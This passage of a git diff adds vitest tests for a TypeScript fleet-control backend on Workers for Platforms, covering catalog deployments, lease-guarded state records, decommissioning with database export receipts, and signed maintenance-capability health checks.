describe('D1FleetStateStore release state', () => { await expect(store.get('acme', 'production')).resolves.toEqual(record); if (!record.migrationIntent) throw new Error('missing migration intent'); + const legacyTeardown: FleetRecord = { + ...record, + desiredSpecDigest: record.migrationIntent.targetSpecDigest, + phase: 'decommissioning', + }; + for (const phase of [ + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'worker-deleted', + 'platform-credentials-revoked', + ] as const) { + const retained = { ...legacyTeardown, phase }; + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(retained), + ); + await expect(store.get('acme', 'production')).resolves.toEqual(retained); + } + for (const invalid of [ + { ...legacyTeardown, desiredSpecDigest: record.desiredSpecDigest }, + { ...legacyTeardown, phase: 'ready' as const }, + { ...legacyTeardown, phase: 'platform-resources-deleted' as const }, + { ...legacyTeardown, phase: 'decommissioned' as const }, + ]) { + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put(invalid), + ), + ).rejects.toThrow(/inconsistent migration intent/); + } + const decommissioningMigration: FleetRecord = { ...record, phase: 'decommission-advancing', diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index 1c7ab068..9d12f1f0 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -1,5 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 +import { createHash, randomUUID } from 'node:crypto'; + import { DEPLOYMENT_SENTINEL_COLUMNS, DEPLOYMENT_SENTINEL_DDL, @@ -7,21 +9,31 @@ import { import type { MaintenanceCapabilityJwk } from '@proofoftech/flowsafe/host-kit'; import { MAINTENANCE_RECEIPT_HEADER, + mintAsymmetricMaintenanceCapability, mintMaintenanceReceipt, verifyAsymmetricMaintenanceCapability, } from '@proofoftech/flowsafe/host-kit'; import { describe, expect, it, vi } from 'vitest'; import { ActiveRouteAttestationError } from '../src/active-route.js'; +import { D1FleetStateDatabase } from '../src/d1-fleet-state-database.js'; +import { advanceDecommissionDeployment } from '../src/decommission-advance.js'; import { WorkerDeploymentError } from '../src/deployment-error.js'; +import { migrateFleet } from '../src/fleet.js'; import { canonicalDeploymentEgressPolicy, + durableObjectMigrationHistoryDigest, externalEgressProxyScriptName, externalPlatformResourceGroupId, externalReleaseTopology, externalStateScriptName, } from '../src/platform-resources.js'; -import { provisionDeployment } from '../src/provision.js'; +import { + assertPlatformDurableObjectHistory, + forceDecommissionDeployment, + provisionDeployment, +} from '../src/provision.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; +import { D1FleetStateStore } from '../src/state-store.js'; import type { ApplicationR2Binding, ApplicationR2BucketSnapshot, @@ -35,11 +47,13 @@ import type { ExternalMutationFence, ExternalPlatformProfile, ExternalPlatformResources, + ExternalReleaseSnapshot, FleetRecord, FleetStateLease, FleetStateStore, PromotionGuard, } from '../src/types.js'; +import { validateDeploymentSpec } from '../src/validation.js'; import { externalReleaseScriptName, type WorkersForPlatformsApi, @@ -47,6 +61,7 @@ import { } from '../src/workers-for-platforms-backend.js'; import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js'; import { D1State } from './fixtures/provider-world.js'; +import { createWfpMaintenanceHarness } from './fixtures/wfp-maintenance-harness.js'; const deployment: DeploymentSpec = { tenantTag: 'acme', @@ -651,6 +666,7 @@ class FakeApi implements WorkersForPlatformsApi { physicalScriptName?: string, resources?: ExternalPlatformResources, application?: import('../src/types.js').ApplicationBindingTopology, + maintenanceCapabilityPublicKey?: string, ): Promise<{ artifactVersion: string }> { this.calls.push('upload'); this.uploadedScriptNames.push(physicalScriptName ?? 'missing'); @@ -690,9 +706,20 @@ class FakeApi implements WorkersForPlatformsApi { ] : []), secretNames: this.dispatchSecretNames.get(scriptName) ?? [], - plainTextBindings: Object.fromEntries( - (application?.vars ?? []).map(({ name, value }) => [name, value]), - ), + plainTextBindings: { + ...Object.fromEntries( + (application?.vars ?? []).map(({ name, value }) => [name, value]), + ), + ...(maintenanceCapabilityPublicKey === undefined + ? {} + : { + FLEET_MAINTENANCE_CAPABILITIES: 'required', + FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY: + maintenanceCapabilityPublicKey, + FLEET_DEPLOYMENT_SCRIPT: scriptName, + FLEET_RESOURCE_ROLE: 'platform-catalog', + }), + }, r2BucketBindings: application?.r2Buckets ?? [], tenantTag: spec.tenantTag, environment: spec.environment, @@ -1055,6 +1082,939 @@ async function attestedHealthResponse( } describe('WorkersForPlatformsBackend', () => { + it.each([ + 'alias', + 'class', + 'service', + 'queue', + ] as const)('uploads a valid mutable catalog binding change (%s)', async (change) => { + const prior: DeploymentSpec = { + ...deployment, + authoredBy: 'platform', + durableObjectMigrations: [ + { tag: 'v1', newSqliteClasses: ['Maintenance'] }, + ], + durableObjectBindings: [ + { name: 'MAINTENANCE', className: 'Maintenance' }, + ], + }; + const target: DeploymentSpec = { + ...prior, + previousDurableObjectTag: 'v1', + ...(change === 'alias' + ? { + durableObjectBindings: [ + ...prior.durableObjectBindings, + { name: 'ALIAS', className: 'Maintenance' }, + ], + } + : {}), + ...(change === 'class' + ? { + durableObjectMigrations: [ + ...prior.durableObjectMigrations, + { tag: 'v2', newSqliteClasses: ['Additional'] }, + ], + durableObjectBindings: [ + ...prior.durableObjectBindings, + { name: 'ADDITIONAL', className: 'Additional' }, + ], + } + : {}), + ...(change === 'service' ? { egressProxyService: 'catalog-egress' } : {}), + ...(change === 'queue' + ? { queueProducer: { binding: 'EVENTS', queueName: 'catalog-events' } } + : {}), + }; + validateDeploymentSpec(target); + assertPlatformDurableObjectHistory( + { + durableObjectTag: 'v1', + durableObjectMigrationHistory: prior.durableObjectMigrations, + durableObjectMigrationHistoryDigest: + durableObjectMigrationHistoryDigest(prior.durableObjectMigrations), + }, + target, + ); + const client = new FakeApi(); + client.exists = false; + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routes', + platformProfileFor: () => platformProfile(), + }); + const database = { + id: 'db-acme', + name: prior.databaseName, + created: false, + }; + await backend.deployWorker(prior, database, secrets, undefined, fence); + await backend.deployWorker(target, database, secrets, undefined, fence); + expect(client.uploadedScriptNames).toHaveLength(2); + const live = client.dispatchWorkers.get(prior.scriptName); + expect(live?.desiredSpecDigest).toBe(deploymentSpecDigest(target)); + expect(live?.durableObjectBindings.map(({ name }) => name)).toEqual( + target.durableObjectBindings.map(({ name }) => name), + ); + expect(live?.serviceBindings ?? []).toEqual( + change === 'service' + ? [{ name: 'EGRESS_PROXY', service: 'catalog-egress' }] + : [], + ); + expect(live?.queueProducerBindings ?? []).toEqual( + change === 'queue' + ? [{ name: 'EVENTS', queueName: 'catalog-events' }] + : [], + ); + }); + + it('checks catalog residuals without claiming derived external state', async () => { + const catalog: DeploymentSpec = { ...deployment, authoredBy: 'platform' }; + const database = { + id: 'db-acme', + name: catalog.databaseName, + created: false, + }; + const record: FleetRecord = { + tenantTag: catalog.tenantTag, + environment: catalog.environment, + backend: 'workers-for-platforms', + wfpMode: 'platform-catalog', + scriptName: catalog.scriptName, + databaseId: database.id, + databaseName: database.name, + schemaVersion: catalog.schemaVersion, + artifactVersion: 'catalog-v1', + desiredSpecDigest: deploymentSpecDigest(catalog), + durableObjectBindings: [ + { + name: 'MAINTENANCE', + className: 'Maintenance', + namespaceId: 'known-local', + }, + ], + routeHostname: catalog.routeHostname, + phase: 'database-deleting', + updatedAt: '2026-09-10T00:00:00.000Z', + outboundPolicy: canonicalDeploymentEgressPolicy({ + policyId: externalPlatformResourceGroupId(catalog), + tenantTag: catalog.tenantTag, + environment: catalog.environment, + allowedHosts: [], + }), + }; + const client = new FakeApi(); + client.exists = false; + const events: string[] = []; + client.residualEvents = events; + const foreign = completeProviderBindingInspection({ + artifactVersion: 'foreign-v1', + databaseIds: ['other-db'], + durableObjectBindings: [], + serviceBindings: [], + kvNamespaceBindings: [], + secretNames: [], + plainTextBindings: {}, + workersDevEnabled: false, + previewUrlsEnabled: false, + routeHostnames: [], + zoneRoutes: [], + }); + const stateName = externalStateScriptName(catalog); + const proxyName = externalEgressProxyScriptName(catalog); + client.controlWorkers.set(stateName, foreign); + client.controlWorkers.set(proxyName, foreign); + client.namespaceIdsByScript.set(stateName, new Set(['foreign-namespace'])); + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routes', + }); + for (const method of [ + 'assertDatabaseDetached', + 'assertDatabaseDeletionResidualsRemoved', + ] as const) { + await expect( + backend[method](catalog, record, database, fence), + ).resolves.toBeUndefined(); + client.namespaceIdsByScript.set( + catalog.scriptName, + new Set(['unrecorded-local']), + ); + await expect( + backend[method](catalog, record, database, fence), + ).rejects.toThrow("namespace 'unrecorded-local' remains"); + client.namespaceIdsByScript.delete(catalog.scriptName); + client.remainingNamespaceIds.add('known-local'); + await expect( + backend[method](catalog, record, database, fence), + ).rejects.toThrow("namespace 'known-local' remains"); + client.remainingNamespaceIds.clear(); + await expect( + backend[method](deployment, record, database, fence), + ).rejects.toThrow('different deployment'); + } + expect(events).not.toContain(`control:${stateName}`); + expect(events).not.toContain(`control:${proxyName}`); + expect(events).not.toContain(`namespaces:${stateName}`); + expect(client.controlWorkers.get(stateName)).toEqual(foreign); + expect(client.namespaceIdsByScript.get(stateName)).toEqual( + new Set(['foreign-namespace']), + ); + const before = [...events]; + await expect( + backend.deletePlatformResources(catalog, record, database, fence), + ).rejects.toThrow('external deployment'); + await expect( + backend.revokePlatformResourceCredentials( + catalog, + record, + database, + fence, + ), + ).rejects.toThrow('external deployment'); + expect(events).toEqual(before); + }); + + it.each([ + 'prior', + 'candidate', + 'unrecorded', + ] as const)('checks catalog teardown against recorded active and pending artifacts (%s)', async (observed) => { + const prior: DeploymentSpec = { ...deployment, authoredBy: 'platform' }; + const target: DeploymentSpec = { ...prior, schemaVersion: 2 }; + const active: ExternalReleaseSnapshot = { + physicalScriptName: prior.scriptName, + specDigest: deploymentSpecDigest(prior), + artifactVersion: 'catalog-v1', + releaseSchemaVersion: 1, + }; + const pending: ExternalReleaseSnapshot = { + physicalScriptName: prior.scriptName, + specDigest: deploymentSpecDigest(target), + artifactVersion: 'catalog-v2', + releaseSchemaVersion: 2, + }; + for (const operation of [ + 'removeTraffic', + 'revokeCredentials', + 'deleteWorker', + ] as const) { + const client = new FakeApi(); + const selected = observed === 'prior' ? active : pending; + client.dispatchWorkers.set( + prior.scriptName, + completeProviderBindingInspection({ + tenantTag: prior.tenantTag, + environment: prior.environment, + artifactVersion: + observed === 'unrecorded' ? 'catalog-v3' : selected.artifactVersion, + desiredSpecDigest: selected.specDigest, + schemaVersion: selected.releaseSchemaVersion, + databaseIds: ['db-acme'], + durableObjectBindings: [], + secretNames: [], + plainTextBindings: {}, + }), + ); + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routes', + }); + const database = { + id: 'db-acme', + name: prior.databaseName, + created: false, + }; + const result = + operation === 'deleteWorker' + ? backend.deleteWorker(target, [pending], database, active, fence) + : backend[operation](target, [pending], active, database, fence); + if (observed === 'unrecorded') { + await expect(result).rejects.toThrow( + 'owned by another build or deployment', + ); + expect(client.calls).toEqual([]); + } else await expect(result).resolves.toBeUndefined(); + } + }); + + it.each([ + 'ready', + 'before-candidate', + 'after-candidate', + ] as const)('enrolls a legacy catalog under its native Fleet lease and decommissions from %s', async (boundary) => { + const catalog: DeploymentSpec = { + ...deployment, + authoredBy: 'platform', + durableObjectBindings: [ + { name: 'RUNNER', className: 'Runner' }, + { name: 'MAINTENANCE', className: 'Maintenance' }, + ], + durableObjectMigrations: [ + { tag: 'v1', newSqliteClasses: ['Runner', 'Maintenance'] }, + ], + }; + const target: DeploymentSpec = { + ...catalog, + previousDurableObjectTag: 'v1', + modules: [ + { name: 'worker.js', content: 'export default { fetch() {} }' }, + ], + }; + const native = await createWfpMaintenanceHarness({ + catalog, + external: deployment, + secrets, + publicKey: MAINTENANCE_CAPABILITY_PUBLIC_KEY, + }); + try { + const client = new FakeApi(); + client.exists = false; + const databaseId = '00000000-0000-0000-0000-000000000041'; + const createDatabase = client.createDatabase.bind(client); + client.createDatabase = async () => { + const created = await createDatabase(); + client.database = { ...created, id: databaseId, created: false }; + return { ...created, id: databaseId }; + }; + client.getDatabase = async (id) => { + client.databaseIdsRead.push(id); + return client.database?.id === id ? client.database : undefined; + }; + const exportBytes = new TextEncoder().encode( + '-- fixture database export\nSELECT 1;\n', + ); + const exportSha256 = createHash('sha256') + .update(exportBytes) + .digest('hex'); + const exports = await native.exportBucket(); + const receiptKeys: string[] = []; + const lifecycleClient = Object.assign(client, { + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + async exportDatabaseReceipt( + identity: DatabaseExportReceiptIdentity, + ): Promise { + expect(identity).toMatchObject({ + authority: RECEIPT_AUTHORITY, + databaseId, + }); + expect(client.database).toBeDefined(); + client.calls.push('export-receipt'); + const key = `receipts/v1/${identity.databaseId}/${identity.operationId}.sql`; + await exports.put(key, exportBytes); + receiptKeys.push(key); + return { + databaseId, + location: `r2://fleet-exports/${key}`, + size: exportBytes.byteLength, + sha256: exportSha256, + }; + }, + async advanceDecommissionAttachmentScan( + input: DecommissionAttachmentScanInput, + ): Promise { + expect(input.progress.target).toEqual({ kind: 'd1', databaseId }); + const ordinary = [...client.controlWorkers.values()].filter( + (value) => value !== undefined, + ); + const dispatched = [...client.dispatchWorkers.values()]; + expect( + [...ordinary, ...dispatched].some((value) => + value.databaseIds.includes(databaseId), + ), + ).toBe(false); + expect(client.databaseAttachments).toEqual([]); + return { + status: 'complete', + evidenceSha256: createHash('sha256') + .update(JSON.stringify({ ordinary, dispatched })) + .digest('hex'), + evidenceCount: 2 + ordinary.length + dispatched.length, + providerFetchAttemptsReserved: 0, + }; + }, + async deleteDatabase(id: string) { + expect(id).toBe(databaseId); + expect(receiptKeys).toHaveLength(1); + expect(await exports.get(receiptKeys[0] ?? '')).not.toBeNull(); + client.calls.push('delete-db'); + client.database = undefined; + }, + }); + let failEnsure = false; + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: lifecycleClient, + fetch: async (input, init) => { + if (failEnsure && String(input).endsWith('/ensure-maintenance')) { + failEnsure = false; + throw new Error('fixture interruption after candidate'); + } + return native.fetch(input, init); + }, + hostRoutingKvId: 'host-routes', + platformProfileFor: () => platformProfile(), + }); + const store = new D1FleetStateStore( + new D1FleetStateDatabase(await native.fleetDatabase()), + { + accountId: 'wfp-native', + leaseTtlMs: 60_000, + leaseRenewalIntervalMs: 20_000, + }, + ); + await store.get(catalog.tenantTag, catalog.environment); + const fleetDb = await native.fleetDatabase(); + await fleetDb.exec( + 'CREATE TABLE fixture_first_catalog_claims (phase TEXT, mode TEXT, resource_type TEXT, resource_name TEXT, resource_role TEXT)', + ); + await fleetDb.exec( + "CREATE TRIGGER capture_first_catalog_claim AFTER INSERT ON anchorage_fleet_deployments BEGIN INSERT INTO fixture_first_catalog_claims SELECT NEW.phase,NEW.wfp_mode,resource_type,resource_name,resource_role FROM anchorage_platform_plane_claims WHERE account_id='wfp-native' AND resource_set_key='deployment:acme:production'; END", + ); + const initial = await provisionDeployment({ + backend, + store, + spec: catalog, + secrets, + initialExecutionFenceState: 'open', + }); + expect(initial.record.phase).toBe('ready'); + expect(initial.record.wfpMode).toBe('platform-catalog'); + expect(client.lastPromotedRoute).not.toHaveProperty('stateEgress'); + await fleetDb + .prepare( + 'UPDATE anchorage_fleet_deployments SET wfp_mode=? WHERE tenant_tag=? AND environment=?', + ) + .bind('unknown-mode', catalog.tenantTag, catalog.environment) + .run(); + try { + await expect( + store.get(catalog.tenantTag, catalog.environment), + ).rejects.toThrow('invalid wfp_mode'); + } finally { + await fleetDb + .prepare( + 'UPDATE anchorage_fleet_deployments SET wfp_mode=? WHERE tenant_tag=? AND environment=?', + ) + .bind('platform-catalog', catalog.tenantTag, catalog.environment) + .run(); + } + expect( + ( + await fleetDb + .prepare('SELECT * FROM fixture_first_catalog_claims') + .all() + ).results, + ).toEqual([ + { + phase: 'database-reserved', + mode: 'platform-catalog', + resource_type: 'dispatch-script', + resource_name: catalog.scriptName, + resource_role: 'deployment-worker', + }, + ]); + const claimRows = async () => + ( + await fleetDb + .prepare( + "SELECT resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity FROM anchorage_platform_plane_claims WHERE account_id='wfp-native'", + ) + .all() + ).results; + const claims = await claimRows(); + const { wfpMode: _mode, ...lostMode } = initial.record; + await expect( + store.withDeploymentLease( + catalog.tenantTag, + catalog.environment, + (lease) => lease.put({ ...lostMode, phase: 'identity-seeded' }), + ), + ).rejects.toThrow(); + expect(await store.get(catalog.tenantTag, catalog.environment)).toEqual( + initial.record, + ); + expect(await claimRows()).toEqual(claims); + await expect( + store.withDeploymentLease( + catalog.tenantTag, + catalog.environment, + (lease) => lease.put({ ...initial.record, backend: 'plain-worker' }), + ), + ).rejects.toThrow('wfp_mode'); + await expect( + store.withDeploymentLease( + catalog.tenantTag, + catalog.environment, + (lease) => lease.put({ ...initial.record, platformResources }), + ), + ).rejects.toThrow('wfp_mode'); + const installed = client.dispatchWorkers.get(catalog.scriptName); + if (!installed) throw new Error('catalog upload is missing'); + client.dispatchWorkers.set(catalog.scriptName, { + ...installed, + plainTextBindings: {}, + }); + await native.updateCatalog(catalog, false); + await expect( + backend.inspect(catalog, secrets.maintenanceAdmin), + ).rejects.toThrow('signed maintenance enrollment'); + expect( + ( + await native.catalogFetch( + new Request('https://catalog.test/admin/maintenance-status', { + headers: { authorization: `Bearer ${secrets.maintenanceAdmin}` }, + }), + ) + ).status, + ).toBe(200); + const uploads = client.uploadedScriptNames.length; + const upload = client.uploadDispatchWorker.bind(client); + client.uploadDispatchWorker = async ( + ...args: Parameters + ) => { + await upload(...args); + await native.updateCatalog(target); + const current = client.dispatchWorkers.get(catalog.scriptName); + if (!current) throw new Error('enrolled provider snapshot is missing'); + client.dispatchWorkers.set(catalog.scriptName, { + ...current, + artifactVersion: 'catalog-v2', + }); + return { artifactVersion: 'catalog-v2' }; + }; + await store.withDeploymentLease( + catalog.tenantTag, + catalog.environment, + async (lease) => { + const owned = await store.get(catalog.tenantTag, catalog.environment); + expect(owned).toEqual(initial.record); + if (!owned) throw new Error('owned catalog record is missing'); + const uploaded = await backend.deployWorker( + target, + { id: owned.databaseId, name: owned.databaseName, created: false }, + secrets, + undefined, + lease, + undefined, + owned.applicationBindings, + ); + expect(uploaded.artifactVersion).toBe('catalog-v2'); + expect( + await store.get(catalog.tenantTag, catalog.environment), + ).toEqual(initial.record); + }, + ); + const [migrated] = await migrateFleet({ + store, + records: [initial.record], + canaryTenantTags: [], + backendFor: () => backend, + specFor: () => target, + secretsFor: () => secrets, + }); + expect(migrated).toMatchObject({ + phase: 'ready', + wfpMode: 'platform-catalog', + desiredSpecDigest: deploymentSpecDigest(target), + artifactVersion: 'catalog-v2', + databaseId: initial.record.databaseId, + durableObjectBindings: initial.record.durableObjectBindings, + applicationResources: initial.record.applicationResources, + }); + expect(client.uploadedScriptNames).toHaveLength(uploads + 1); + expect(await store.get(catalog.tenantTag, catalog.environment)).toEqual( + migrated, + ); + await expect( + forceDecommissionDeployment({ + backend, + store, + tenantTag: catalog.tenantTag, + environment: catalog.environment, + }), + ).rejects.toThrow('does not support spec-free force decommission'); + expect(await store.get(catalog.tenantTag, catalog.environment)).toEqual( + migrated, + ); + let teardownSpec = target; + if (boundary !== 'ready') { + teardownSpec = { + ...target, + schemaVersion: 2, + migrations: [ + ...target.migrations, + { + version: 2, + sql: 'ALTER TABLE example ADD COLUMN value TEXT', + rollbackCompatible: true, + }, + ], + modules: [ + { + name: 'worker.js', + content: + 'export default { fetch() { return new Response("third"); } }', + }, + ], + }; + client.uploadDispatchWorker = async ( + ...args: Parameters + ) => { + if (boundary === 'before-candidate') + throw new Error('fixture interruption before candidate'); + await upload(...args); + await native.updateCatalog(teardownSpec); + const current = client.dispatchWorkers.get(catalog.scriptName); + if (!current) + throw new Error('third catalog provider snapshot is missing'); + client.dispatchWorkers.set(catalog.scriptName, { + ...current, + artifactVersion: 'catalog-v3', + }); + return { artifactVersion: 'catalog-v3' }; + }; + failEnsure = boundary === 'after-candidate'; + if (!migrated) throw new Error('migrated record is missing'); + await expect( + migrateFleet({ + store, + records: [migrated], + canaryTenantTags: [], + backendFor: () => backend, + specFor: () => teardownSpec, + secretsFor: () => secrets, + }), + ).rejects.toThrow('fixture interruption'); + const interrupted = await store.get( + catalog.tenantTag, + catalog.environment, + ); + expect(interrupted).toMatchObject({ + phase: 'migrating', + schemaVersion: 2, + wfpMode: 'platform-catalog', + pendingSpecDigest: deploymentSpecDigest(teardownSpec), + activeRelease: { + artifactVersion: 'catalog-v2', + specDigest: deploymentSpecDigest(target), + releaseSchemaVersion: 1, + }, + }); + expect(interrupted?.pendingArtifactVersion).toBe( + boundary === 'after-candidate' ? 'catalog-v3' : undefined, + ); + } + const removePlatform = vi.spyOn(backend, 'deletePlatformResources'); + const revokePlatform = vi.spyOn( + backend, + 'revokePlatformResourceCredentials', + ); + const events: string[] = []; + client.residualEvents = events; + let result = await advanceDecommissionDeployment({ + backend, + store, + spec: teardownSpec, + action: { kind: 'start' }, + maxProviderRequests: 9, + randomUUID, + }); + for (let count = 0; result.status === 'pending' && count < 80; count++) + result = await advanceDecommissionDeployment({ + backend, + store, + spec: teardownSpec, + action: { kind: 'continue', token: result.token }, + maxProviderRequests: 9, + randomUUID, + }); + expect(result.status).toBe('complete'); + expect(removePlatform).not.toHaveBeenCalled(); + expect(revokePlatform).not.toHaveBeenCalled(); + expect(events).toContain(`namespaces:${catalog.scriptName}`); + expect(events).not.toContain( + `control:${externalStateScriptName(catalog)}`, + ); + expect(events).not.toContain( + `control:${externalEgressProxyScriptName(catalog)}`, + ); + expect(client.calls.indexOf('export-receipt')).toBeLessThan( + client.calls.indexOf('delete-db'), + ); + expect(receiptKeys).toHaveLength(1); + const exported = await exports.get(receiptKeys[0] ?? ''); + if (!exported) throw new Error('fixture database export is missing'); + expect(new Uint8Array(await exported.arrayBuffer())).toEqual(exportBytes); + expect( + await store.get(catalog.tenantTag, catalog.environment), + ).toMatchObject({ + phase: 'decommissioned', + wfpMode: 'platform-catalog', + databaseExportSha256: exportSha256, + databaseExportSize: exportBytes.byteLength, + }); + expect(await claimRows()).toEqual(claims); + await forceDecommissionDeployment({ + backend, + store, + tenantTag: catalog.tenantTag, + environment: catalog.environment, + }); + expect( + await store.get(catalog.tenantTag, catalog.environment), + ).toBeUndefined(); + expect(await claimRows()).toEqual([]); + } finally { + await native.close(); + } + }, 120_000); + + it('uses the real dispatcher, native catalog and external-state Maintenance for signed health', async () => { + const catalog: DeploymentSpec = { ...deployment, authoredBy: 'platform' }; + const native = await createWfpMaintenanceHarness({ + catalog, + external: deployment, + secrets, + publicKey: MAINTENANCE_CAPABILITY_PUBLIC_KEY, + }); + try { + const client = new FakeApi(); + await client.putDispatchSecrets(catalog.scriptName, secrets, { + includeMaintenanceAdmin: true, + }); + await client.uploadDispatchWorker( + catalog, + { id: 'db-acme', name: catalog.databaseName, created: false }, + catalog.scriptName, + undefined, + undefined, + MAINTENANCE_CAPABILITY_PUBLIC_KEY, + ); + const options = { + namespacedState: NAMESPACED_STATE, + client, + fetch: native.fetch, + hostRoutingKvId: 'host-routes', + platformProfileFor: () => platformProfile(), + }; + const backend = new WorkersForPlatformsBackend(options); + const health = await backend.ensureMaintenance( + catalog, + secrets.maintenanceAdmin, + fence, + 'etag-v1', + ); + expect(health.armed).toBe(true); + const ensured = native.requests.at(-1); + if (!ensured) throw new Error('native ensure request is missing'); + expect((await native.fetch(ensured.clone())).status).toBe(401); + const live = await backend.inspect( + catalog, + secrets.maintenanceAdmin, + 'etag-v1', + ); + expect(live?.maintenance).toMatchObject({ + armed: true, + deploymentSpecDigest: deploymentSpecDigest(catalog), + }); + const status = native.requests.at(-1); + if (!status) throw new Error('native status request is missing'); + expect((await native.fetch(status.clone())).status).toBe(200); + expect((await native.fetch(status.clone())).status).toBe(200); + + const wrong = await mintAsymmetricMaintenanceCapability({ + privateKey: MAINTENANCE_CAPABILITY_PRIVATE_KEY, + operation: 'ensure-maintenance', + tenantTag: catalog.tenantTag, + environment: catalog.environment, + scriptName: catalog.scriptName, + specDigest: 'f'.repeat(64), + nonce: 'DDDDDDDDDDDDDDDDDDDDDD', + }); + const local = (token: string) => + new Request('https://catalog.test/admin/ensure-maintenance', { + method: 'POST', + headers: { authorization: `Bearer ${token}` }, + }); + expect((await native.catalogFetch(local(wrong.token))).status).toBe(401); + const valid = await mintAsymmetricMaintenanceCapability({ + privateKey: MAINTENANCE_CAPABILITY_PRIVATE_KEY, + operation: 'ensure-maintenance', + tenantTag: catalog.tenantTag, + environment: catalog.environment, + scriptName: catalog.scriptName, + specDigest: deploymentSpecDigest(catalog), + nonce: wrong.claims.nonce, + }); + expect((await native.catalogFetch(local(valid.token))).status).toBe(200); + expect((await native.catalogFetch(local(valid.token))).status).toBe(401); + expect( + (await native.catalogFetch(local(secrets.maintenanceAdmin))).status, + ).toBe(401); + expect( + ( + await native.catalogFetch( + new Request('https://catalog.test/admin/execution-fence', { + headers: { authorization: `Bearer ${valid.token}` }, + }), + ) + ).status, + ).toBe(401); + expect( + ( + await native.catalogFetch( + new Request('https://catalog.test/admin/execution-fence', { + headers: { authorization: `Bearer ${secrets.maintenanceAdmin}` }, + }), + ) + ).status, + ).toBe(200); + + const externalClient = new FakeApi(); + const external = new WorkersForPlatformsBackend({ + ...options, + client: externalClient, + }); + expect( + await external.ensureMaintenance( + deployment, + secrets.maintenanceAdmin, + fence, + 'etag-v1', + ), + ).toMatchObject({ + armed: true, + deploymentSpecDigest: deploymentSpecDigest(deployment), + }); + expect( + (await external.inspect(deployment, secrets.maintenanceAdmin)) + ?.maintenance.armed, + ).toBe(true); + + const unsignedBody = new WorkersForPlatformsBackend({ + ...options, + fetch: async (input, init) => { + const response = await native.fetch(input, init); + await response.arrayBuffer(); + return Response.json( + { alarmAt: null }, + { headers: response.headers }, + ); + }, + }); + expect( + (await unsignedBody.inspect(catalog, secrets.maintenanceAdmin)) + ?.maintenance.armed, + ).toBe(true); + const missingReceipt = new WorkersForPlatformsBackend({ + ...options, + fetch: async (input, init) => { + const response = await native.fetch(input, init); + const headers = new Headers(response.headers); + headers.delete(MAINTENANCE_RECEIPT_HEADER); + return new Response(await response.arrayBuffer(), { + status: response.status, + headers, + }); + }, + }); + await expect( + missingReceipt.inspect(catalog, secrets.maintenanceAdmin), + ).rejects.toThrow('does not match dispatch Worker'); + expect(native.calls.map(({ scriptName }) => scriptName)).toContain( + externalReleaseScriptName(deployment), + ); + expect(native.calls[0]?.options).toMatchObject({ + limits: { cpuMs: 1000, subRequests: 50 }, + }); + } finally { + await native.close(); + } + }, 90_000); + + it.each([ + 'current', + 'changed', + ] as const)('inspects signed mutable catalog health when the requested spec is %s', async (selection) => { + const current: DeploymentSpec = { ...deployment, authoredBy: 'platform' }; + const requested = + selection === 'current' + ? current + : { + ...current, + modules: [ + { name: 'worker.js', content: 'export default { fetch() {} }' }, + ], + }; + const client = new FakeApi(); + client.dispatchWorkers.set(current.scriptName, { + artifactVersion: 'catalog-v1', + databaseIds: ['db-acme'], + durableObjectBindings: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET', 'MAINTENANCE_ADMIN_SECRET'], + tenantTag: current.tenantTag, + environment: current.environment, + schemaVersion: current.schemaVersion, + desiredSpecDigest: deploymentSpecDigest(current), + plainTextBindings: { + FLEET_MAINTENANCE_CAPABILITIES: 'required', + FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY: + MAINTENANCE_CAPABILITY_PUBLIC_KEY, + FLEET_DEPLOYMENT_SCRIPT: current.scriptName, + FLEET_RESOURCE_ROLE: 'platform-catalog', + }, + providerBindingIdentities: [], + }); + const request = vi.fn(attestedHealthResponse); + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + fetch: request, + hostRoutingKvId: 'host-routes', + platformProfileFor: () => ({ + maintenanceCapabilityPublicKey: MAINTENANCE_CAPABILITY_PUBLIC_KEY, + maintenanceCapabilityPrivateKey: MAINTENANCE_CAPABILITY_PRIVATE_KEY, + }), + }); + expect( + await backend.inspect(requested, secrets.maintenanceAdmin), + ).toMatchObject({ + artifactVersion: 'catalog-v1', + desiredSpecDigest: deploymentSpecDigest(current), + maintenance: { + armed: true, + deploymentSpecDigest: deploymentSpecDigest(current), + }, + }); + expect(String(request.mock.calls[0]?.[0])).toBe( + `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${current.scriptName}/${deploymentSpecDigest(current)}/maintenance-status`, + ); + if (selection === 'current') { + expect( + await backend.ensureMaintenance( + requested, + secrets.maintenanceAdmin, + fence, + 'catalog-v1', + ), + ).toMatchObject({ armed: true }); + } else { + await expect( + backend.ensureMaintenance( + requested, + secrets.maintenanceAdmin, + fence, + 'catalog-v1', + ), + ).rejects.toThrow('specification digest'); + expect(request).toHaveBeenCalledOnce(); + } + }); + it('exposes and forwards receipt export only for a capable WFP client', async () => { const absentClient = new FakeApi(); const absent = new WorkersForPlatformsBackend({ @@ -2038,9 +2998,11 @@ describe('WorkersForPlatformsBackend', () => { }); it.each([ - 'persisted', - 'provider-committed', - ] as const)('deletes the exact %s trusted-resource variant after an interrupted migration', async (liveVariant) => { + ['persisted', false], + ['provider-committed', false], + ['persisted', true], + ['provider-committed', true], + ] as const)('deletes the exact %s trusted-resource variant after an interrupted migration (compatibility: %s)', async (liveVariant, compatibility) => { 